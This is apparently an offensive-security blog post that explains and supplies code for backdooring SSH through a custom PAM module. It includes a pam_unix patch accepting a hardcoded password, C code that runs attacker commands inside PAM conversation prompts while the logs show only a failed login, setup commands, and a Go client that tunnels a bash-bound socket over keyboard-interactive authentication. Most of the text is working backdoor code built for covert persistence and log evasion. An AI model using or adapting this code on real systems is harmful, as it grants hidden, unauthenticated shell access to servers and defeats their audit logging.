# tl; dr
When researching ways to backdoor SSH without replacing the binary, I naturally came to PAM backdoors as an option. However, most PAM backdoors just provide a "skeleton" password to bypass authentication (and also optionally log passwords). This means that using them is still noisy, as it results in successful authentication events.
So I decided to abuse the PAM conversation functionality together with SSH `keyboard-interactive` authentication to establish a bidirectional pre-authentication data transfer channel for shell or connection forwarding.
PoC code available at https://github.com/zimnyaa/pamsh
# traditional PAM backdoors
A PAM module is essentially a dynamic shared library that provides a number of exports to authenticate users. The most essential export is `pam_sm_authenticate`, that provides a handle to the user-supplied function that can then get information about the authentication attempt and make the decision.
Traditional PAM backdoors replace the default `pam_unix.so` library, adding functionality to log passwords for all authentication attempts or return PAM_SUCCESS for hardcoded passwords. They are really simple, as seen below:
> ```diff
> *** ./modules/pam_unix/pam_unix_auth.c 2016-04-11 08:08:47.000000000 -0300
> --- pam_unix_auth.c 2017-06-07 21:25:25.656306410 -0300
> ***************
> *** 170,176 ****
> D(("user=%s, password=[%s]", name, p));
>
> /* verify the password of this user */
! retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
>
> AUTH_RETURN;
>--- 170,180 ----
> D(("user=%s, password=[%s]", name, p));
>
> /* verify the password of this user */
>! if (strcmp(p, "_PASSWORD_") != 0) {
>! retval = _unix_verify_password(pamh, name, p, ctrl);
>! } else {
>! retval = PAM_SUCCESS;
>! }
> name = p = NULL;
>
> AUTH_RETURN;
>```
> taken from https://github.com/segmentati0nf4ult/linux-pam-backdoor/blob/master/backdoor.patch
# development and testing setup
Developing PAM modules is pretty straightforward, as they are just .so libraries, compiled as following (requires `libpam-dev` on Debian-based distros):
```
gcc -fPIC -fno-stack-protector -shared -o pam_custom.so pam_custom.c -lpam
```
Testing setup for PAM modules is less trivial. I recommend setting up a second SSH daemon on a different port with a simple config:
For SSH to use the custom PAM module without bricking the existing `pam.d` entry, I recommend just creating a symlink to the SSH binary, as by default it uses `argv[0]` to determine what PAM service name to use:
```sh
/tmp$ ln -s /usr/sbin/sshd /tmp/sshd_test
/tmp$ sudo /tmp/sshd_test -f /tmp/tsshd_config -D -e 2>&1 | grep -v "Postponed"
```
SSH will then use `/etc/pam.d/sshd_test` as the PAM configuration. Just adding
```
auth required /tmp/pamsh.so
```
should be enough.
Another caveat is that PAM is not responsible for user databases, so use an existing username (any present in `/etc/passwd`) when connecting. Otherwise, all of the user responses returned to the PAM module will be `\\177INCORRECT\\010`.
# PAM conversations
For complex authentication flows, the PAM module can initiate a conversation with the user with the `pam_conv` interface, asking a number of questions and receiving responses in return. The questions can be asked dynamically, meaning that it is possible to build a bidirectional data transfer channel over these conversations. A simple shell could serve as a POC. The `pam_sm_authenticate` function should then do the following:
```j
compare the password with a hardcoded one ->
if equal, prompt the command as a question ->
output the result as a PAM_TEXT_INFO notification
```
The relevant part of the export code looks like this:
```c
while (1) {
// construct the initial prompt
struct pam_message prompt_msg;
const struct pam_message *prompt_msgs[1];
prompt_msg.msg_style = PAM_PROMPT_ECHO_ON;
prompt_msg.msg = "pamsh# ";
prompt_msgs[0] = &prompt_msg;
// get the response
struct pam_response *resp = NULL;
retval = conv->conv(1, prompt_msgs, &resp, conv->appdata_ptr);
if (retval != PAM_SUCCESS) {
return retval;
}
if (resp[0].resp == NULL) {
free(resp);
continue;
}
if (strcmp(resp[0].resp, "exit") == 0) {
free(resp[0].resp);
free(resp);
break;
}
// execute the command
char *cmd_stdout = execute_command(resp[0].resp);
free(resp[0].resp);
free(resp);
// construct and send the notification
struct pam_message echo_msg;
const struct pam_message *echo_msgs[1];
echo_msg.msg_style = PAM_TEXT_INFO;
echo_msg.msg = cmd_stdout;
echo_msgs[0] = &echo_msg;
struct pam_response *echo_resp = NULL;
retval = conv->conv(1, echo_msgs, &echo_resp, conv->appdata_ptr);
if (echo_resp != NULL)
free(echo_resp);
if (cmd_stdout != NULL)
free(cmd_stdout);
}
```
When executed, it looks something like this:
![[Screenshot 2025-02-05 at 16.49.44.png]]
The logs will show an authentication failure, despite commands being executed:
![[Screenshot 2025-02-05 at 16.51.30.png]]
# connection forwarding
As we have a bidirectional transfer channel, it is possible to set up forwarding. In my PoC implementation, I forward a Unix socket to a Golang client. The usage example would be to bind a fully-fledged shell or a socks proxy to that Unix socket, and then make it available, unauthenticated, over SSH. For testing, I've just used `socat -v UNIX-LISTEN:/tmp/sock,fork EXEC:/bin/bash`:
![[Pasted image 20250207171147.png]]
The architecture looks like this:
- The Golang client sets up a listening port
- On connection to that port, a new SSH connection is initiated
- The PAM module opens a Unix socket in non-blocking mode
- The PAM module reads all data from the Unix socket, base64-encodes it, and sends it as a question (or sends a placeholder if no data is available)
- Then, it base64-decodes the answer, sends it to the socket, reads another update, and so on
- The Golang side makes an `io.ReadWriter` out of these updates and forwards it to the network connection.
The `ReadWriter` is a generic implementation of a stream on top of regular connection updates:
```go
// function that processes questions
func (pq *PAMQuestionWorker) Process(user, instruction string, questions []string, echos []bool) ([]string, error) {
pq.mu.Lock()
defer pq.mu.Unlock()
responses := make([]string, len(questions))
for i, question := range questions {
var qdata []byte
if question == "Password: " {
responses[i] = "pamconn"
continue
}
if question != "!e" { // empty marker
log.Printf("non-empty message: %s\n", question)
qdata, _ = base64.StdEncoding.DecodeString(question)
pq.readBuf.Write(qdata)
pq.readCond.Broadcast()
}
msg := "!e" // empty marker
outgoing := pq.writeBuf.Bytes()
if len(outgoing) > 0 {
msg = base64.StdEncoding.EncodeToString(pq.writeBuf.Bytes())
log.Printf("non-empty answer: %s\n", msg)
pq.writeBuf.Reset()
}
responses[i] = msg
}
return responses, nil
}
// client-side blocking reads and writes
func (pq *PAMQuestionWorker) Write(p []byte) (int, error) {
pq.mu.Lock()
defer pq.mu.Unlock()
log.Printf("PQW Write")
return pq.writeBuf.Write(p)
}
func (pq *PAMQuestionWorker) Read(p []byte) (int, error) {
pq.mu.Lock()
defer pq.mu.Unlock()
log.Printf("PQW Read")
for pq.readBuf.Len() == 0 {
pq.readCond.Wait()
}
return pq.readBuf.Read(p)
}
```
As a non-weaponised PoC, it lacks several important features, like keep-alives, connection multiplexing, or empty question throttling. *My code isn't garbage, it's called responsible disclosure.*